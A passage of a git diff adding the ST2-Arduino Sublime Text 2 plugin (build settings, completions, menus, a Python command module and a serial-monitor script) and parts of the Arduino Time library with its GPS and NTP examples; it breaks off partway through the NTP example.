a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build new file mode 100755 index 0000000..27434d8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "build"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build new file mode 100755 index 0000000..5e7179c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build @@ -0,0 +1,10 @@ +{ + "cmd": ["sh", "-c", "ino build && ino upload"], + "windows": { + "shell": true, + "cmd": ["ino", "build", "&;", "ino", "upload"] + }, + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build new file mode 100755 index 0000000..f6c9a85 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "upload"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions new file mode 100755 index 0000000..21d4f1d --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions @@ -0,0 +1,128 @@ +{ + "scope": "source.c++.arduino", + "completions": [ + "HIGH", + "LOW", + "INPUT", + "OUTPUT", + "DEC", + "BIN", + "HEX", + "OCT", + "BYTE", + "PI", + "HALF_PI", + "TWO_PI", + "LSBFIRST", + "MSBFIRST", + "CHANGE", + "FALLING", + "RISING", + "DEFAULT", + "EXTERNAL", + "INTERAL", + "boolean", + "break", + "byte", + "case", + "char", + "class", + "continue", + "default", + "do", + "double", + "else", + "false", + "float", + "for", + "if", + "int", + "long", + "new", + "null", + "private", + "protected", + "public", + "return", + "short", + "signed", + "static", + "switch", + "this", + "throw", + "try", + "true", + "unsigned", + "void", + "while", + "word", + "boolean", + "byte", + "char", + "float", + "int", + "long", + "word", + "abs", + "acos", + "asin", + "atan", + "atan2", + "ceil", + "constrain", + "cos", + "degrees", + "exp", + "floor", + "log", + "map", + "max", + "min", + "radians", + "random", + "randomSeed", + "round", + "sin", + "sq", + "sqrt", + "tan", + "bitRead", + "bitWrite", + "bitSet", + "bitClear", + "bit", + "highByte", + "lowByte", + "analogReference", + "analogRead", + "analogWrite", + "attachInterrupt", + "detachInterrupt", + "delay", + "delayMicroseconds", + "digitalWrite", + "digitalRead", + "interrupts", + "millis", + "micros", + "noInterrupts", + "noTone", + "pinMode", + "pulseIn", + "shiftOut", + "tone", + "Serial", + "Serial1", + "Serial2", + "Serial3", + "begin", + "end", + "read", + "print", + "println", + "available", + "flush", + "setup", + "loop" + ] +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage new file mode 100755 index 0000000..600c9be --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage @@ -0,0 +1,62 @@ + + + + + fileTypes + + pde + ino + + foldingStartMarker + /\*\*|\{\s*$ + foldingStopMarker + \*\*/|^\s*\} + name + Arduino + patterns + + + include + #special_block + + + include + source.c++ + + + match + \b(HIGH|LOW|INPUT|OUTPUT|DEC|BIN|HEX|OCT|BYTE|PI|HALF_PI|TWO_PI|LSBFIRST|MSBFIRST|CHANGE|FALLING|RISING|DEFAULT|EXTERNAL|INTERNAL|INTERNAL1V1|INTERNAL2V56|null)\b + name + constant.c++.arduino + + + match + \b(boolean|byte|word)\b + name + storage.c++.arduino + + + match + \b(abs|acos|asin|atan|atan2|ceil|constrain|cos|degrees|exp|floor|log|map|max|min|radians|random|randomSeed|round|sin|sq|sqrt|tan|bitRead|bitWrite|bitSet|bitClear|bit|highByte|lowByte|analogReference|analogRead|analogWrite|attachInterrupt|detachInterrupt|delay|delayMicroseconds|digitalWrite|digitalRead|interrupts|millis|micros|noInterrupts|noTone|pinMode|pulseIn|shiftOut|tone|begin|end|read|print|println|available|flush|setup|loop)\b + name + support.function.c++.arduino + + + match + \b(Serial\d?)\b + name + support.class.c++.arduino + + + match + \b(private|protected|public) + name + storage.modifier.c++.arduino + + + scopeName + source.c++.arduino + uuid + 65E5AFAE-4AE7-4DAE-837B-1B99810E464C + + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands new file mode 100755 index 0000000..790907e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands @@ -0,0 +1,26 @@ +[ + { + "caption": "New sketch", + "command": "new_sketch" + }, + { + "caption": "Open Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "caption": "Compile Arduino sketch", + "command": "compile" + }, + { + "caption": "Upload Arduino sketch", + "command": "upload" + }, + { + "caption": "Compile and Upload Arduino sketch", + "command": "compile_upload" + }, + { + "caption": "Clean Arduino sketch", + "command": "clean" + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap new file mode 100755 index 0000000..6a1c466 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap @@ -0,0 +1,5 @@ +[ + { "keys": ["super+ctrl+shift+b"], "command": "compile" }, + { "keys": ["super+ctrl+shift+u"], "command": "upload"}, + { "keys": ["super+ctrl+shift+c"], "command": "clean"} +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE new file mode 100755 index 0000000..3cd9c55 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 Robby Colvin + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu new file mode 100755 index 0000000..ea20580 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu @@ -0,0 +1,106 @@ +[ + { + "caption": "Tools", + "mnemonic": "t", + "id": "tools", + "children": [ + { + "id": "arduinomenu", + "caption": "Arduino", + "children": [ + { + "id": "arduinocompile", + "caption": "Compile Sketch", + "command": "compile" + }, + { + "id": "arduinoupload", + "caption": "Upload Sketch", + "command": "upload" + }, + { + "id": "arduinoclean", + "caption": "Clean Sketch", + "command": "clean" + }, + // { + // "id": "arduinomonitor", + // "caption": "Monitor USB Port", + // "command": "watch_serial_port" + // }, + { + "id": "arduinolocalhelp", + "caption": "Local Help for Keyword", + "command": "local_help" + }, + { + "id": "arduinonewsketchmenu", + "caption": "New Sketch", + "command": "new_sketch" + }, + { + "id": "arduinoopen", + "caption": "Open", + "children": [ + { + "id": "arduinodirectory", + "caption": "Arduino Directory", + "command": "open_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "id": "arduinoexamples", + "caption": "Arduino Examples", + "command": "open_arduino_examples" + }, + { + "id": "arduinouserdirectory", + "caption": "User Arduino Directory", + "command": "open_user_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "User Arduino Libraries", + "command": "open_user_arduino_libraries" + } + ] + } + ] + } + ] + }, + { + "caption": "Preferences", + "mnemonic": "n", + "id": "preferences", + "children":[{ + "caption": "Package Settings", + "mnemonic": "P", + "id": "package-settings", + "children":[{ + "caption": "Arduino", + "children": [{ + "command": "open_file", + "args": { + "file": "${packages}/Arduino/Arduino.sublime-settings" + }, + "caption": "Settings – Default" + }, + { + "command": "open_file", + "args": { + "file": "${packages}/User/Arduino.sublime-settings" + }, + "caption": "Settings – User" + }, + { + "caption": "-" + }] + }] + }] + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/README.md b/Projects/libraries/Installed_libs/ST2_Arduino/README.md new file mode 100755 index 0000000..38100ab --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/README.md @@ -0,0 +1,38 @@ +# ST2 Arduino + +Sublime Text 2 plugin for Arduino. + +## Notes + +Currently, this plugin is only tested and optimized (read works) for OS X. I don't have access to Windows or Linux, so feel free to fork and add that functionality. + +## Prerequisites + +Dealing with a Makefile on my own was proving too cumbersome, so I've now opted to use the `ino` tool instead. + +The best way to install ino is to build from source: + +```bash +git clone git://github.com/amperka/ino.git && cd ino +make install +``` + +However you install ino, make sure that its location is available in your $PATH so this plugin can find it. + +Please visit [ino's website](http://inotool.org/) for more information. + +## Installation + +Download and extract to Sublime Text 2 Packages folder + +1. Download a [zipball](https://github.com/geetarista/ST2-Arduino/zipball/master) or [tarball](https://github.com/geetarista/ST2-Arduino/tarball/master) +2. Extract the plugin +3. Copy it to your packages directory: + * Mac OS X: ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/ + * Linux: ~/.config/sublime-text-2/Packages + * Windows: %APPDATA%\Sublime Text 2\Packages +4. Rename to Arduino. + +## License + +MIT. See `LICENSE`. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet new file mode 100755 index 0000000..0c68ea8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet @@ -0,0 +1,9 @@ + + + loop + source.c++.arduino + Arduino loop + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet new file mode 100755 index 0000000..f7f884a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet @@ -0,0 +1,9 @@ + + + setup + source.c++.arduino + Arduino setup + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor new file mode 100755 index 0000000..2561708 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor @@ -0,0 +1,44 @@ +#!/bin/bash +echo "executing monitor script" +set -- /dev/*usb* +# make sure there's a usb port +echo "$1" +if [ -r "$1" ]; then + + # get the list of USB ports + dev_list=(`ls /dev/*usb*`) + + # echo them out with their index + counter=0 + for filename in "${dev_list[@]}"; do + echo "${counter}. ${filename:5}" + counter=`expr $counter + 1` + done + + # ask the user which port they'd like to monitor + echo "Which port would you like to monitor? [enter digit then enter, defaults to zero]:" + read dev_port + + # if they didn't supply one, just use zero + if [ -n dev_port ]; then + dev_port=0 + fi + + # ask them what baud they'd like to use + echo "Enter the baud rate [defaults to 9600]:" + read dev_baud + + # if they didn't supply one, just use 9600 + if [ -n dev_baud ]; then + dev_baud=9600 + fi + + # give them a heads up + echo "Monitoring ${dev_list[$dev_port]:5} on ${dev_baud}" + + # start monitoring + screen ${dev_list[$dev_port]} ${dev_baud} + +else + echo "No USB ports found" +fi diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py new file mode 100755 index 0000000..9c5d22c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py @@ -0,0 +1 @@ +from arduino import * diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py new file mode 100755 index 0000000..610a2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py @@ -0,0 +1,140 @@ +import sublime +import sublime_plugin + +import os +import thread +import subprocess +import sys +# import re + +PLUGIN_DIRECTORY = os.getcwd().replace(os.path.normpath(os.path.join(os.getcwd(), '..', '..')) + os.path.sep, '').replace(os.path.sep, '/') +PLUGIN_PATH = os.getcwd().replace(os.path.join(os.getcwd(), '..', '..') + os.path.sep, '').replace(os.path.sep, '/') +RESULT_VIEW_NAME = 'monitor_result_view' + +PACKAGES_DIR = sublime.packages_path() +ARDUINO_DIR = '/Applications/Arduino.app/Contents/Resources/Java' +REFERENCE_DIR = '%s/reference' % ARDUINO_DIR +KEYWORDS_FILE = '%s/lib/keywords.txt' % ARDUINO_DIR +CSS_FILE = "%s/arduinoUno.css" % REFERENCE_DIR +USER_DIR = '${HOME}/Documents/Arduino/' + +def plugin_file(name): + return os.path.join(PLUGIN_PATH, name) + +class CompileCommand(sublime_plugin.WindowCommand): + """ Compile the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class UploadCommand(sublime_plugin.WindowCommand): + """ Upload the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CompileUploadCommand(sublime_plugin.WindowCommand): + """ Upload and compile the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CleanCommand(sublime_plugin.WindowCommand): + """ Clean the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Clean.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class NewSketchCommand(sublime_plugin.WindowCommand): + """ Create new sketch file from template """ + def run(self): + template = open(plugin_file('sketch_template'), 'r').read() + file = self.window.new_file() + edit = file.begin_edit() + file.insert(edit, 0, template) + file.end_edit(edit) + +class OpenArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open Arduino's application directory """ + def run(self): + if sys.platform == 'darwin': + path = ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's built-in libraries """ + def run(self): + if sys.platform == 'darwin': + path = '%s/libraries' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoExamplesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's example sketches directory """ + def run(self): + if sys.platform == 'darwin': + path = '%s/examples' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open user's arduino directory """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino' + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open user's library files """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino/libraries' + subprocess.check_call(['open', '--', path]) + +# class WatchSerialPortCommand(sublime_plugin.WindowCommand): +# """ Watch serial port for activity """ +# def run(self): +# script = plugin_file('Support/Monitor') +# subprocess.call([script], shell=True) + +class LocalHelpCommand(sublime_plugin.TextCommand): + """ Open Arduino help for currently selected word """ + def run(self, edit): + loop = 'loop' + sel = self.view.sel()[0] + if not sel.empty(): + word = self.view.substr(sel) + else: + word = "" + + lines = [line.split() for line in open(KEYWORDS_FILE)] + keywords = [l for l in lines if ((len(l) >= 2) or (l and l[0] != "#"))] + for kw in keywords: + if word == kw[0]: + html_file = '%s/%s.html' % (REFERENCE_DIR, kw[-1]) + + if 'html_file' in locals(): + try: + subprocess.check_call(['open', html_file]) + # Will add this if sublime ever gets formatted output window + # html = open(html_file).read() + # css = open(CSS_FILE).read() + """ + # #wikitext p:first-child, + # #pageheader, + # #pagenav, + # #pagefooter { + # display: none; + # } + # #page { + # width: 100%; + # } + # """ + # html = re.sub('', "", html, re.S|re.I) + except Exception, e: + print "failed to open html" + else: + print 'No documentation found for "%s"' % word diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages.json b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json new file mode 100755 index 0000000..d51417a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json @@ -0,0 +1,4 @@ +{ + "install": "messages/install.txt", + "1.0.0": "messages/1.0.0.txt" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt new file mode 100755 index 0000000..6a56e0e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt @@ -0,0 +1,4 @@ +Version 1.0.0 +------------- + +This is the first version of the plugin. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt new file mode 100755 index 0000000..3cd6ce5 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt @@ -0,0 +1,4 @@ +Arduino Sublime Text 2 Package +============================== + +Easily integrate with your Arduino. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template new file mode 100755 index 0000000..55cc61a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template @@ -0,0 +1,13 @@ +/* + New sketch +*/ + +void setup () +{ + // setup +} + +void loop() +{ + // loop +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino new file mode 100755 index 0000000..94cc3c8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino @@ -0,0 +1,7 @@ +/* + This is a dummy file to test the compile command. +*/ + +void setup () {} + +void loop() {} diff --git a/Projects/libraries/Installed_libs/Time/DateStrings.cpp b/Projects/libraries/Installed_libs/Time/DateStrings.cpp new file mode 100755 index 0000000..7610c8f --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/DateStrings.cpp @@ -0,0 +1,80 @@ +/* DateStrings.cpp + * Definitions for date strings for use with the Time library + * + * No memory is consumed in the sketch if your code does not call any of the string methods + * You can change the text of the strings, make sure the short strings are each exactly 3 characters + * the long strings can be any length up to the constant dt_MAX_STRING_LEN defined in Time.h + * + */ + +#include +#include "Time.h" + +// the short strings for each day or month must be exactly dt_SHORT_STR_LEN +#define dt_SHORT_STR_LEN 3 // the length of short strings + +static char buffer[dt_MAX_STRING_LEN+1]; // must be big enough for longest string and the terminating null + +char monthStr1[] PROGMEM = "January"; +char monthStr2[] PROGMEM = "February"; +char monthStr3[] PROGMEM = "March"; +char monthStr4[] PROGMEM = "April"; +char monthStr5[] PROGMEM = "May"; +char monthStr6[] PROGMEM = "June"; +char monthStr7[] PROGMEM = "July"; +char monthStr8[] PROGMEM = "August"; +char monthStr9[] PROGMEM = "September"; +char monthStr10[] PROGMEM = "October"; +char monthStr11[] PROGMEM = "November"; +char monthStr12[] PROGMEM = "December"; + +PGM_P monthNames_P[] PROGMEM = +{ + "",monthStr1,monthStr2,monthStr3,monthStr4,monthStr5,monthStr6, + monthStr7,monthStr8,monthStr9,monthStr10,monthStr11,monthStr12 +}; + +char monthShortNames_P[] PROGMEM = "ErrJanFebMarAprMayJunJulAugSepOctNovDec"; + +char dayStr0[] PROGMEM = "Err"; +char dayStr1[] PROGMEM = "Sunday"; +char dayStr2[] PROGMEM = "Monday"; +char dayStr3[] PROGMEM = "Tuesday"; +char dayStr4[] PROGMEM = "Wednesday"; +char dayStr5[] PROGMEM = "Thursday"; +char dayStr6[] PROGMEM = "Friday"; +char dayStr7[] PROGMEM = "Saturday"; + +PGM_P dayNames_P[] PROGMEM = { dayStr0,dayStr1,dayStr2,dayStr3,dayStr4,dayStr5,dayStr6,dayStr7}; +char dayShortNames_P[] PROGMEM = "ErrSunMonTueWedThrFriSat"; + +/* functions to return date strings */ + +char* monthStr(uint8_t month) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(monthNames_P[month]))); + return buffer; +} + +char* monthShortStr(uint8_t month) +{ + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(monthShortNames_P[i+ (month*dt_SHORT_STR_LEN)])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} + +char* dayStr(uint8_t day) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(dayNames_P[day]))); + return buffer; +} + +char* dayShortStr(uint8_t day) +{ + uint8_t index = day*dt_SHORT_STR_LEN; + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(dayShortNames_P[index + i])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde new file mode 100755 index 0000000..4c74d4b --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde @@ -0,0 +1,70 @@ +/** + * SyncArduinoClock. + * + * portIndex must be set to the port connected to the Arduino + * + * The current time is sent in response to request message from Arduino + * or by clicking the display window + * + * The time message is 11 ASCII text characters; a header (the letter 'T') + * followed by the ten digit system time (unix time) + */ + + +import processing.serial.*; + +public static final short portIndex = 1; // select the com port, 0 is the first port +public static final char TIME_HEADER = 'T'; //header byte for arduino serial time message +public static final char TIME_REQUEST = 7; // ASCII bell character +public static final char LF = 10; // ASCII linefeed +public static final char CR = 13; // ASCII linefeed +Serial myPort; // Create object from Serial class + +void setup() { + size(200, 200); + println(Serial.list()); + println(" Connecting to -> " + Serial.list()[portIndex]); + myPort = new Serial(this,Serial.list()[portIndex], 9600); +} + +void draw() +{ + if ( myPort.available() > 0) { // If data is available, + char val = char(myPort.read()); // read it and store it in val + if(val == TIME_REQUEST){ + long t = getTimeNow(); + sendTimeMessage(TIME_HEADER, t); + } + else + { + if(val == LF) + ; //igonore + else if(val == CR) + println(); + else + print(val); // echo everying but time request + } + } +} + +void mousePressed() { + sendTimeMessage( TIME_HEADER, getTimeNow()); +} + + +void sendTimeMessage(char header, long time) { + String timeStr = String.valueOf(time); + myPort.write(header); // send header and time to arduino + myPort.write(timeStr); +} + +long getTimeNow(){ + // java time is in ms, we want secs + GregorianCalendar cal = new GregorianCalendar(); + cal.setTime(new Date()); + int tzo = cal.get(Calendar.ZONE_OFFSET); + int dst = cal.get(Calendar.DST_OFFSET); + long now = (cal.getTimeInMillis() / 1000) ; + now = now + (tzo/1000) + (dst/1000); + return now; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt new file mode 100755 index 0000000..985bd80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt @@ -0,0 +1,9 @@ +SyncArduinoClock is a Processing sketch that responds to Arduino requests for +time synchronization messages. + +The portIndex must be set the Serial port connected to Arduino. + +Download TimeSerial.pde onto Arduino and you should see the time +message displayed when you run SyncArduinoClock in Processing. +The Arduino time is set from the time on your computer through the +Processing sketch. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde new file mode 100755 index 0000000..1c7b25e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde @@ -0,0 +1,82 @@ +/* + * TimeGPS.pde + * example code illustrating time synced from a GPS + * + */ + +#include +#include //http://arduiniana.org/libraries/TinyGPS/ +#include //http://arduiniana.org/libraries/newsoftserial/ +// GPS and NewSoftSerial libraries are the work of Mikal Hart + +TinyGPS gps; +NewSoftSerial serial_gps = NewSoftSerial(3, 2); // receive on pin 3 + +const int offset = 1; // offset hours from gps time (UTC) +time_t prevDisplay = 0; // when the digital clock was displayed + +void setup() +{ + Serial.begin(9600); + serial_gps.begin(4800); + Serial.println("Waiting for GPS time ... "); + setSyncProvider(gpsTimeSync); +} + +void loop() +{ + while (serial_gps.available()) + { + gps.encode(serial_gps.read()); // process gps messages + } + if(timeStatus()!= timeNotSet) + { + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +time_t gpsTimeSync(){ + // returns time if avail from gps, else returns 0 + unsigned long fix_age = 0 ; + gps.get_datetime(NULL,NULL, &fix_age); + unsigned long time_since_last_fix; + if(fix_age < 1000) + return gpsTimeToArduinoTime(); // return time only if updated recently by gps + return 0; +} + +time_t gpsTimeToArduinoTime(){ + // returns time_t from gps date and time with the given offset hours + tmElements_t tm; + int year; + gps.crack_datetime(&year, &tm.Month, &tm.Day, &tm.Hour, &tm.Minute, &tm.Second, NULL, NULL); + tm.Year = year - 1970; + time_t time = makeTime(tm); + return time + (offset * SECS_PER_HOUR); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde new file mode 100755 index 0000000..11927c6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde @@ -0,0 +1,120 @@ +/* + * Time_NTP.pde + * Example showing time sync to NTP time source + * + * This sketch uses the Ethenet library with the user contributed UdpBytewise extension + */ + +#include +#include +#include // UDP library from: bjoern@cs.stanford.edu 12/30/2008 +#if UDP_TX_PACKET_MAX_SIZE <64 || UDP_RX_PACKET_MAX_SIZE < 64 +#error : UDP packet size to small - modify UdpBytewise.h to set buffers to 64 bytes +#endif +/* + * + * You may need to modify the UdpBytewise.h library to allow enough space in the buffers for the NTP packets. + * Open up UdpBytewse.h and set the following buffers to 64 bytes: + * #define UDP_TX_PACKET_MAX_SIZE 64 + * #define UDP_RX_PACKET_MAX_SIZE 64 + */ + + +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; +byte ip[] = { 192, 168, 1, 44 }; // set the IP address to an unused address on your network + +byte SNTP_server_IP[] = { 192, 43, 244, 18}; // time.nist.gov +//byte SNTP_server_IP[] = { 130,149,17,21}; // ntps1-0.cs.tu-berlin.de +//byte SNTP_server_IP[] = { 192,53,103,108}; // ptbtime1.ptb.de + + +time_t prevDisplay = 0; // when the digital clock was displayed +const long timeZoneOffset = 0L; // set this to the offset in seconds to your local time; + +void setup() +{ + Serial.begin(9600); + Ethernet.begin(mac,ip); + Serial.println("waiting for sync"); + setSyncProvider(getNtpTime); + while(timeStatus()== timeNotSet) + ; // wait until the time is set by the sync provider +} + +void loop() +{ + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/*-------- NTP code ----------*/ + +unsigned long getNtpTime() +{ + sendNTPpacket(SNTP_server_IP); + delay(1000); + if ( UdpBytewise.available() ) { + for(int i=0; i < 40; i++) + UdpBytewise.read(); // ignore every field except the time + const unsigned long seventy_years = 2208988800UL + timeZoneOffset; + return getUlong() - seventy_years; + } + return 0; // return 0 if unable to get the time +} + +unsigned long sendNTPpacket(byte *address) +{ + UdpBytewise.begin(123); + UdpBytewise.beginPacket(address, 123); + UdpBytewise.write(B11100011); 